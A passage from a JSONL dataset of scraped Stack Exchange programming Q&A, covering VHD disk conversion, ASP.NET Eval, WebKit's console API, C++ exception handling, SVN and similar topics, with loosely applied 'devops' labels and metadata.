have:\n```\n```\n/Applications/Q.app/Contents/MacOS/qemu-img convert -O raw -f vpc \"input.vhd\" temp.bin\nVBoxManage convertdd temp.bin \"output.vdi\"\nrm temp.bin\nmv \"output.vdi\" ~/Library/VirtualBox/VDI/\nVBoxManage modifyvdi \"output.vdi\" compact\n```\n```\nStart Virtual Box and create a new virtual machine\nSelect the new VDI file you've just created as the boot hard disk\nVMWare fusion users\nOpen a Terminal.app on your Mac (you can find it in /Applications/Utilities) and run the following commands, replacing\ninput.vhd\nand\noutput.vmdk\nwith the name of the VHD file you're working on and the name you want your resulting disk image to have:\n```\n```\n/Applications/Q.app/Contents/MacOS/qemu-img convert -O vmdk -f vpc \"input.vhd\" \"output.vmdk\"\nmv \"output.vmdk\" ~/Documents/Virtual\\ Machines.localized/\n```\n```\nThis will probably take a while (It takes around 30 minutes per disk image on my 2.4GHz Core 2 Duo MacBook w/ 2Gb RAM).\nStart VMWare Fusion and create a new virtual machine\nIn the advanced disk options select \"use and existing disk\" and find the VMDK file you just created", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.193503"}
{"id": "hf_276c7b3423be", "question": "<p>What is the best way to use multiple EVAL fields in a GridView ItemTemplate?</p>\n\n<p>Looking to have some control over formatting for appearance as well as setting up hyperlinks/javascript etc.</p>\n", "question_body": "", "answer": "I had previously used this (bad, I know):\n```\n```\n<%# Eval(\"Name1\", \"{0} - \")%> <%#Eval(\"Name2\")%>\n```\n```\nResult = 'John - Smith'\nBut just discovered that I can also put TWO (or more) Evals in the same data-bound group:\n```\n```\n<%#Eval(\"Name1\") & \" - \" & Eval(\"Name2\")%>\n```\n```\nResult = 'John - Smith'\nOr\n```\n```\n<%# \"First Name - \" & Eval(\"Name1\") & \", Last Name - \" & Eval(\"Name2\")%>\n```\n```\nResult = 'First Name - John, Last Name - Smith'", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.229169"}
{"id": "hf_87afa05a5145", "question": "<p>WebKit/Safari supports the console object, which is similar to what Firebug does. But what exactly is supported? There is a <a href=\"http://getfirebug.com/wiki/index.php/Console_API\" rel=\"noreferrer\">console documentation for Firebug</a>, but where can I find the console documentation for Safari/WebKit?</p>\n", "question_body": "", "answer": "Supported methods were originally:\n```\nconsole.log()\n```\n```\nconsole.error()\n```\n```\nconsole.warn()\n```\n```\nconsole.info()\n```\nNewer versions of WebKit also add the following methods making the WebKit console API almost identical to\nFirebug's console API\n:\n```\nconsole.count()\n```\n```\nconsole.debug()\n```\n```\nconsole.profileEnd()\n```\n```\nconsole.trace()\n```\n```\nconsole.dir()\n```\n```\nconsole.dirxml()\n```\n```\nconsole.assert()\n```\n```\nconsole.time()\n```\n```\nconsole.profile()\n```\n```\nconsole.timeEnd()\n```\n```\nconsole.group()\n```\n```\nconsole.groupEnd()\n```\n(New information based on the WebKit nightly build WebKit-SVN-r37126, at the time of writing these methods aren't available in Safari)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.279724"}
{"id": "hf_4da870808112", "question": "<p>In prior versions of Windows before Vista you could have a Windows Service interact with the current logged in desktop user to easy display information on the screen from the service. In Windows Vista Session 0 was added for security to isolate the services from the desktop. What is an easy way to communicate between a service and an application running outside of Session 0? So far I have gotten around this by using TCP/IP to communicate between the two but it seems to be kind of a sloppy way to do it.</p>\n", "question_body": "", "answer": "You can use shared memory or named pipe to facilitate IPC as well. Conceptually this is similar to TCP/IP, but you don't have to worry about finding an unused port.\nYou have to make sure that the named objects you create are prefixed with \"Global\\\" to allow them to be accessed by all sessions as described\nhere\n.\nAFAIK there is no way for a service to directly interact with the desktop any more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.303770"}
{"id": "hf_da948848fabc", "question": "<p>What is the best practice of Unicode processing in C++?</p>\n", "question_body": "", "answer": "Here is a checklist for Windows programming:\nAll strings enclosed in _T(\"my string\")\nstrlen() etc. functions replaced with _tcslen() etc.\nUse LPTSTR and LPCTSTR instead of char * and const char *\nWhen starting new projects in Dev Studio, religiously make sure the Unicode option is selected in your project properties.\nFor C++ strings, use std::wstring instead of std::string", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.327242"}
{"id": "hf_90044bbf6dd7", "question": "<p>I'm going to be implementing a <code>PHP/mySQL</code> setup to store credit card information.</p>\n<p>It seems like <code>AES_ENCRYPT/AES_DECRYPT</code> is the way to go,</p>\n<p><strong>but I'm still confused on one point:</strong></p>\n<p><strong>How do I keep the encryption key secure?</strong></p>\n<p>Hardwiring it into my PHP scripts (which will live on the same server as the db) seems like a major security hole.</p>\n<p><strong>What's the &quot;best practice&quot; solution here?</strong></p>\n", "question_body": "", "answer": "You should think long and hard about whether you REALLY need to keep the CC#. If you don't have a great reason, DON'T! Every other week you hear about some company being compromised and CC#'s being stolen. All these companies made a fatal flaw - they kept too much information. Keep the CC# until the transaction clears. After that, delete it.\nAs far as securing the server, the best course of action is to secure the hardware and use the internal system socket to MySQL, and make sure to block any network access to the MySQL server. Make sure you're using both your system permissions and the MySQL permissions to allow as little access as needed. For some scripts, you might consider write-only authentication. There's really no encryption method that will be foolproof (as you will always need to decrypt, and thus must store the key). This is not to say you shouldn't - you can store your key in one location and if you detect system compromise you can destroy the file and render the data useless.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.350540"}
{"id": "hf_72b78005b830", "question": "<p>What's the simplest way to add a click event handler to a canvas element that will return the x and y coordinates of the click (relative to the canvas element)?</p>\n\n<p>No legacy browser compatibility required, Safari, Opera and Firefox will do.</p>\n", "question_body": "", "answer": "Hey, this is in dojo, just cause it's what I had the code in already for a project.\nIt should be fairly Obvious how to convert it back to non dojo vanilla JavaScript.\n```\n```\nfunction onMouseClick(e) {\n      var x = e.clientX;\n      var y = e.clientY;\n  }\n  var canvas = dojo.byId(canvasId);\n  dojo.connect(canvas,\"click\",onMouseClick);\n```\n```\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.386198"}
{"id": "hf_46d889b7a02e", "question": "<p>In effect, if I have a <code>class c</code> and instances of <code>$c1</code> and <code>$c2</code> \nwhich might have different private variable amounts but all their public methods return the same values I would like to be able to check that <code>$c1 == $c2?</code></p>\n\n<p>Does anyone know an easy way to do this?</p>\n", "question_body": "", "answer": "You can define PHP's\n__toString\nmagic method inside your class.\nFor example\n```\n```\nclass cat {\n    private $name;\n    public function __contruct($catname) {\n        $this->name = $catname;\n    }\n\n    public function __toString() {\n        return \"My name is \" . $this->name . \"\\n\";\n    }\n}\n\n$max = new cat('max');\n$toby = new cat('toby');\nprint $max; // echoes 'My name is max'\nprint $toby; // echoes 'My name is toby'\n\nif($max == $toby) {\n    echo 'Woohoo!\\n';\n} else {\n    echo 'Doh!\\n';\n}\n```\n```\nThen you can use the equality operator to check if both instances are equal or not.\nHTH,\nRushi", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.455997"}
{"id": "hf_33a1ec302dfb", "question": "<p>I want to write a word addin that does some computations and updates some ui whenever the user types something or moves the current insertion point. From looking at the MSDN docs, I don't see any obvious way such as an TextTyped event on the document or application objects.</p>\n\n<p>Does anyone know if this is possible without polling the document?</p>\n", "question_body": "", "answer": "As you've probably discovered,\nWord has events\n, but they're for really coarse actions like a document open or a switch to another document.  I'm guessing MS did this intentionally to prevent a crappy macro from slowing down typing.\nIn short, there's no great way to do what you want.\nA Word MVP confirms that in this thread.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.506550"}
{"id": "hf_5c4597fc04b5", "question": "<p>Is there a simple method of parsing XML files in C#? If so, what?</p>\n", "question_body": "", "answer": "I'd use\nLINQ to XML\nif you're in .NET 3.5 or higher.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.606448"}
{"id": "hf_8240270986da", "question": "<p>I am following the <a href=\"http://blogs.msdn.com/johngossman/archive/2005/10/08/478683.aspx\" rel=\"noreferrer\">M-V-VM</a> pattern for my WPF UI. I would like to hook up a command to the TextChanged event of a TextBox to a command that is in my ViewModel class. The only way I can conceive of completing this task is to inherit from the TextBox control, and implement ICommandSource. I can then instruct the command to be fired from the TextChanged event. This seems to be too much work for something which appears to be so simple.</p>\n\n<p>Is there an easier way (than subclassing the TextBox and implementing ICommandSource) to hook up the TextChanged event to my ViewModel class?</p>\n", "question_body": "", "answer": "Can you not just handle the TextChanged event and execute the command from there?\n```\n```\nprivate void _textBox_TextChanged(object sender, EventArgs e)\n{\n    MyCommand.Execute(null);\n}\n```\n```\nThe alternative, as you say, is to create a\n```\nTextBox\n```\nthat acts as a command source, but that does seem like overkill unless it's something you're planning on sharing and leveraging in many places.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.665037"}
{"id": "hf_1274c384eb2b", "question": "<p>In C++, I'm trying to catch all types of exceptions in one catch (like <code>catch(Exception)</code> in C#). How is it done? And what's more, how can one catch divide-by-zero exceptions?</p>\n", "question_body": "", "answer": "```\n```\ncatch (...)\n{\n   // Handle exceptions not covered.\n}\n```\n```\nImportant considerations:\nA better approach is to catch specific types of exception that you can actually recover from as opposed to all possible exceptions.\ncatch(...) will also catch certain serious system level exceptions (varies depending on compiler) that you are not going to be able to recover reliably from.  Catching them in this way and then swallowing them and continuing could cause further serious problems in your program.\nDepending on your context it can be acceptable to use catch(...), providing the exception is re-thrown.  In this case, you log all useful local state information and then re-throw the exception to allow it to propagate up.  However you should read up on the\nRAII pattern\nif you choose this route.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.688242"}
{"id": "hf_3270d67b30ff", "question": "<p>I'm downloading some images from a service that doesn't always include a content-type and doesn't provide an extension for the file I'm downloading (ugh, don't ask).</p>\n\n<p>What's the best way to determine the image format in .NET?</p>\n\n<p>The application that is reading these downloaded images needs to have a proper file extension or all hell breaks loose.</p>\n", "question_body": "", "answer": "Try loading the stream into a System.IO.BinaryReader.\nThen you will need to refer to the specifications for each image format you need, and load the header byte by byte to compare against the specifications.  For example here are the\nPNG specifications\nAdded:  The actual\nfile structure\nfor PNG.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.734537"}
{"id": "hf_b3d55265ed42", "question": "<p>Is it possible to detect when the user clicks on the browser's back button?</p>\n<p>I have an Ajax application and if I can detect when the user clicks on the back button I can display the appropriate data back</p>\n<p>Any solution using PHP, JavaScript is preferable. Hell a solution in any language is fine, just need something that I can translate to PHP/JavaScript</p>\n<h3>Edit: Cut and paste from below:</h3>\n<p>Wow, all excellent answers. I'd like to use Yahoo but I already use Prototype and Scriptaculous libraries and don't want to add more ajax libraries. But it uses <em>iFrames</em> which gives me a good pointer to write my own code.</p>\n", "question_body": "", "answer": "There are multiple ways of doing it, though some will only work in certain browsers.  One that I know off the top of my head is to embed a tiny near-invisible iframe on the page.  When the user hits the back button the iframe is navigated back which you can detect and then update your page.\nHere\nis another solution.\nYou might also want to go view source on something like gmail and see how they do it.\nHere's\na library for the sort of thing you're looking for by the way", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.758041"}
{"id": "hf_ab8e5ad1476c", "question": "<p>Is there a web service of some sort (or any other way) to pull a current time zone settings for a (US) city. For the parts of the country that don't follow the Daylight Saving Time and basically jump timezones when everyone else is switching summer/winter time... I don't fancy creating own database of the places that don't follow DST. Is there a way to pull this data on demand? </p>\n\n<p>I need this for the database server (not for client workstations) - there entities stored in the database that have City, State as properties. I need know current timezone for these entities at any moment of time.</p>\n", "question_body": "", "answer": "earthtools.org provides a free web service to get the time zone from a city here:\nhttp://www.earthtools.org/webservices.htm#timezone\nYou just pass in the long/lat values like this: (This is for New York)\nhttp://www.earthtools.org/timezone-1.1/40.71417/-74.00639\nEDIT:\nIt seems like earthtools has been shut down. A good alternative (That did not exist in 2008 when this question was answered) is the Google Time Zone API. To use it you must first\nactivate the Time Zone API\non your account. It is free if you stay below these limits:\n2500 requests per 24 hour period.\n5 requests per second.\nThe documentation\nis available on Google Developers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.792978"}
{"id": "hf_e0e0ae37d9d0", "question": "<p>I've recently had to switch from Visual Studio to Eclipse CDT.<br>\nIt would seem that Eclipse \"workspaces\" are not quite like VS solution files.<br>\nEclipse workspaces use the <code>.metadata</code> folder for managing multiple projects, but there doesn't seem to be a simple distinction between user settings or IDE preferences and project/solution settings.  </p>\n\n<p>What I want is a way to group a collection of related (and dependent) projects together and have that data live in source control without all the other user specific stuff that developers don't need to share. \nYou know, like a <code>.sln</code> file in Visual Studio.  </p>\n\n<p>Does Eclipse just not work this way?  (And if not, then why not?)</p>\n", "question_body": "", "answer": "I often find IDE's have a preferred way to work. Sure, you might be able to get the IDE to do it your way, but you'll probably end up fighting it all the way.\nTry to use your IDE like their makers intended you to. They have made presumptions on how you are supposed to do your work. They have optimized the user experience according to those presumptions.\nGo with the flow. Anything else will make you gnarly, bitter, wrinkly and give you gastly breath!\nCorollary\n: If you can, choose the IDE that makes the same presumptions about workflow as you do!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.817126"}
{"id": "hf_f2acc3e04ebc", "question": "<p>is there an alternative for <code>mysql_insert_id()</code> php function for PostgreSQL? Most of the frameworks are solving the problem partially by finding the current value of the sequence used in the ID. However, there are times that the primary key is not a serial column....</p>\n", "question_body": "", "answer": "Check out the\nRETURNING optional clause\nfor an INSERT statement. (Link to official PostgreSQL documentation)\nBut basically, you do:\n```\n```\nINSERT INTO table (col1, col2) VALUES (1, 2) RETURNING pkey_col\n```\n```\nand the INSERT statement itself returns the id (or whatever expression you specify) of the affected row.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.875940"}
{"id": "hf_e43e6c3c764d", "question": "<p>I admit it: I don't bother with too much exception handling. I know I should do more but I can never wrap my head around where to start and where to stop.  I'm not being lazy.  Far from it.  It's that I'm overwrought with exception handling ambivalence.  It just seems that there is a seemingly infinite number of places in even the smallest app where exception handling can be applied and it can begin to feel like overkill.</p>\n\n<p>I've gotten by with careful testing, validating, and silent prayer but this is a bad programming accident waiting to happen.</p>\n\n<p>So, what are your exception handling best practices?  In particular, where are the most obvious/critical places where exception handling should be applied and where are places where it should be considered?</p>\n\n<p>Sorry for the vague the question but I really want to close the book on this once and for all.  </p>\n", "question_body": "", "answer": "Microsoft's\nPatterns & Practices team\ndid a good job incorporating best practices of exception management into Enterprise Library\nException Handling Application Block\nEvent if wouldn't use Enterprise Library, I\nhighly\nrecommend you to read their documentation. P&P team describes common scenarios and best practices for exceptions handling.\nTo get you started I recommend read following articles:\nException Handling\non MSDN\nException Management in .NET\non MSDN\nException Handling Best Practices in .NET\non CodeProject\nASP.NET specific articles:\nUser Friendly ASP.NET Exception Handling\nGlobal Exception Handling with\nASP.NET\nException handling in C# and ASP\n.Net", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.899908"}
{"id": "hf_be25d934e0fa", "question": "<p>I need some software to explore and modify some SQLite databases.  Does anything similar to SQL Server Management Studio or MySQLAdmin exist for it?</p>\n", "question_body": "", "answer": "As a Firefox plugin\n(aimed mainly at gears, but should work)\nAs a (sucky) web based app\nAnd\na big list of management tools", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.947410"}
{"id": "hf_f5a24978e7c5", "question": "<p>I know how to test an object to see if it is of a type, using the IS keyword e.g.</p>\n\n<pre><code>if (foo is bar)\n{\n  //do something here\n}\n</code></pre>\n\n<p>but how do you test for it not being \"bar\"?, I can't seem to find a keyword that works with IS to test for a negative result. </p>\n\n<p>BTW  - I have a horrible feeling this is soooo obvious, so apologies in advance...</p>\n", "question_body": "", "answer": "```\n```\nif (!(foo is bar)) {\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.974588"}
{"id": "hf_fad60a3d38a4", "question": "<p>What is the difference between <strong><code>const</code></strong> and <strong><code>readonly</code></strong> in C#? </p>\n\n<p>When would you use one over the other?</p>\n", "question_body": "", "answer": "I believe a\n```\nconst\n```\nvalue is the same for all objects (and must be initialized with a literal expression), whereas\n```\nreadonly\n```\ncan be different for each instantiation...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:01.998130"}
{"id": "hf_48ff8c77add0", "question": "<p>According to the documentation, they're pretty much interchangeable.  Is there a stylistic reason to use one over the other?</p>\n", "question_body": "", "answer": "Your team's taste or your project's coding guidelines.\nIf you are in a multilanguage environment, you might wish to encourage the use of the same type of quotes for strings that the other language uses, for instance. Else, I personally like best the look of '", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.021678"}
{"id": "hf_6b386425eed1", "question": "<p>I am working with fixtures on rails and I want one of the fixture fields to be blank.</p>\n\n<p>Example:</p>\n\n<pre><code>two:\nname: test\npath: - I want this blank but not to act as a group heading.\ntest: 4\n</code></pre>\n\n<p>But, I do not know how to leave <code>path:</code> blank without it acting as a group title.  Does anybody know how to do that?</p>\n", "question_body": "", "answer": "Google\nsays\nthe following should work:\n```\n```\npath: \\\"\\\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.068947"}
{"id": "hf_68586ca17e43", "question": "<p>I'm having some internationalisation woes:</p>\n\n<p>My UTF-8 string fields are being rendered in the browser as ???? after being returned from the database.</p>\n\n<p>After retrieval from the database using Hibernate, the String fields are presented correctly on inspection using the eclipse debugger.</p>\n\n<p>However Struts2/Tiles is rendering these strings as ???? in the HTML sent to the browser.</p>\n\n<p>The charset directive is present in the HTML header:\n    </p>\n\n<p>Perhaps I need to add something to my struts2 or tiles configurations?</p>\n", "question_body": "", "answer": "Try setting the lang attribute on the <html/> element.\nHTML example:\n```\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html lang=\"ja\">\n```\nXHTML example:\n```\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"ja\">\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.092963"}
{"id": "hf_f273a5ec4ff1", "question": "<p>How can i stop the host machine entering <code>standby</code> mode while my application is running?</p>\n\n<p>Is there any <code>win32 api</code> call to do this?</p>\n", "question_body": "", "answer": "This article\nhttp://www.codeguru.com/cpp/w-p/system/messagehandling/article.php/c6907\nprovides a demo of how to do this from C++ (thought he article is framed as if you want to do it from Java, and provides a Java wrapper).\nThe actual code in in a zip file at\nhttp://www.codeguru.com/dbfiles/get_file/standbydetectdemo_src.zip?id=6907&lbl=STANDBYDETECTDEMO_SRC_ZIP&ds=20040406\nand the C++ part of it is under com/ha/common/windows/standbydetector.\nHopefully it will give you enough of a direction to get started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.116832"}
{"id": "hf_620f6b2a3c72", "question": "<p>I know about the \"cooperative\" threading of ruby using <a href=\"http://en.wikipedia.org/wiki/Green_threads\" rel=\"noreferrer\">green threads</a>. How can I create real \"OS-level\" threads in my application in order to make use of multiple cpu cores for processing?</p>\n", "question_body": "", "answer": "Ruby 1.8 only has green threads, there is no way to create a real \"OS-level\" thread.  But, ruby 1.9 will have a new feature called fibers, which will allow you to create actual OS-level threads.  Unfortunately, Ruby 1.9 is still in beta, it is scheduled to be stable in a couple of months.\nAnother alternative is to use JRuby.  JRuby implements threads as OS-level theads, there are no \"green threads\" in it.  The latest version of JRuby is 1.1.4 and is equivalent to Ruby 1.8", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.176579"}
{"id": "hf_f0756843113e", "question": "<p>I have a project which is source controlled using Subversion and VisualSVN. Since the version of web.config is different on the server and the developers' computers I want the file to remain on the computers but to be ignored by Subversion. I added it to the svn:ignore but it still remains (and still has a red exclamation mark too since we are not committing it).</p>\n\n<p>How can I remove it from Subversion safely without it being deleted from the files system</p>\n\n<p>Thanks,\nAdin</p>\n", "question_body": "", "answer": "```\n```\nsvn rm --force web.config\nsvn commit\n```\n```\nBe careful to back up your local copy (of web.config) before doing this, since it will be deleted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.224978"}
{"id": "hf_4cf1e913215c", "question": "<p>I am trying to write a formula in ActionScript 3 that will give me var \"z\" (please see image below) in degrees, which I will then convert to radians.</p>\n\n<p>I will already know the value of vars \"x\" and \"y\". Using trigonometry, how can I calculate the length of the hypotenuse and therefore the variable angle of var z?  A solution in either AS3 or psuedocode would be very helpful. Thanks.</p>\n\n<p><img src=\"https://i.stack.imgur.com/B0nfz.jpg\" alt=\"triangle\"></p>\n", "question_body": "", "answer": "z is equivalent to 180 - angle of yH. Or:\n```\n```\n180 - arctan(x/y) //Degrees\npi - arctan(x/y) //radians\n```\n```\nAlso, if actionscript's math libraries have it, use arctan2, which takes both the x and y and deals with signs correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.273600"}
{"id": "hf_cfa5ded1d4ca", "question": "<p>I have used IPC in Win32 code a while ago - critical sections, events, and semaphores.</p>\n<p>How is the scene in the .NET environment?\nAre there any tutorial explaining all available options and when to use and why?</p>\n", "question_body": "", "answer": "Most recent Microsoft's stuff in IPC is\nWindows Communication Foundation\n. Actually there is nothing new in the lower level (tcp, upd, named pipes etc) But WCF simplifies IPC development greatly.\nUseful resource:\nInterprocess Communication with WCF\non Dr. Dobb's portal\nWCF Communication Options in the .NET Framework 3.5\nand of course\nMSDN on WCF", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.300396"}
{"id": "hf_5c82ba934629", "question": "<p>Can I run a 64-bit VMware image on a 32-bit machine?</p>\n\n<p>I've googled this, but there doesn't seem to be a conclusive answer.</p>\n\n<p>I know that it would have to be completely emulated and would run like a dog - but slow performance isn't necessarily an issue as I'm just interested in testing some of my background services code on 64-bit platforms.</p>\n", "question_body": "", "answer": "I honestly doubt it, for a number of reasons, but the most important one is that there are some instructions that are allowed in 32-bit mode, but not in 64-bit mode.  Specifically, the REX prefix that is used to encode some instructions and registers in 64-bit mode is a byte of the form 0x4f:0x40, but in 32 bit mode the same byte is either INC or DEC with a fixed operand.\nBecause of this, any 64-bit instruction that is prefixed by REX will be interpreted as either INC or DEC, and won't give the VMM the chance to emulate the 64-bit instruction (for instance by signaling an undefined opcode exception).\nThe only way it might be done is to use a trap exception to return to the VMM after each and every instruction so that it can see if it needs special 64-bit handling.  I simply can't see that happening.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.324460"}
{"id": "hf_806f7b5e48fb", "question": "<p>How do you store file permissions in a repository? A few files need to be read-only to stop a third party program from trashing it but after checking out of the repository they are set to read-write.</p>\n\n<p>I looked on google and found a <a href=\"http://mamchenkov.net/wordpress/2005/04/27/subversion-and-file-permissions/\" rel=\"noreferrer\">blog post from 2005</a> that states that Subversion doesn't store file-permissions. There are patches and hook-scripts listed (only one url still exists). Three years later does Subversion still not store file permissions and are hooks the only way to go about this? (I've never done hooks and rather use something that is native to Subversion.)</p>\n", "question_body": "", "answer": "Consider using\n```\nsvn lock\n```\nto disallow others from writing to the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.348825"}
{"id": "hf_8834a903d354", "question": "<p>How to obtain Vista Edition programmatically, that is Home Basic, Home Premium, Business or Ultimate ?</p>\n", "question_body": "", "answer": "MSDN gives extensive answer:\nGetting the System Version", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.384076"}
